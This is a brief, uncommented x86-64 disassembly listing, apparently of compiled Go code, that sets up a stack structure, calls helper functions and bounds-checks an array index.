mov ecx, dword [0x005f6e70]
test ecx, ecx
je 0x42f7b2
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x10], 0
lea rcx, [rsp + 0x60]
movups xmmword [rsp + 0x18], xmm15
movups xmmword [rsp + 0x20], xmm15
movups xmmword [rsp + 0x30], xmm15
movups xmmword [rsp + 0x40], xmm15
lea rdx, [0x0042f800]
mov qword [rsp + 0x18], rdx
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x28], rcx
mov rcx, r14
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x10]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], 3
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x18]
mov qword [rsp], rcx
call fcn.00464100
xorps xmm15, xmm15
mov r14, qword [0x005f6ad8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x10]
cmp rax, 0x20
jge 0x42f7ac
jae 0x42f7ce
mov rcx, qword [rsp + 0x60]
mov qword [rcx + rax*8 + 8], 0
add rsp, 0x50
pop rbp
ret
lea rcx, [fcn.00443fc0]
inc rcx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], 0
add rsp, 0x50
pop rbp
ret
mov ecx, 0x20
call fcn.00466500
nop
mov qword [rsp + 8], rax
nop
call fcn.00464220
mov rax, qword [rsp + 8]
jmp fcn.0042f6e0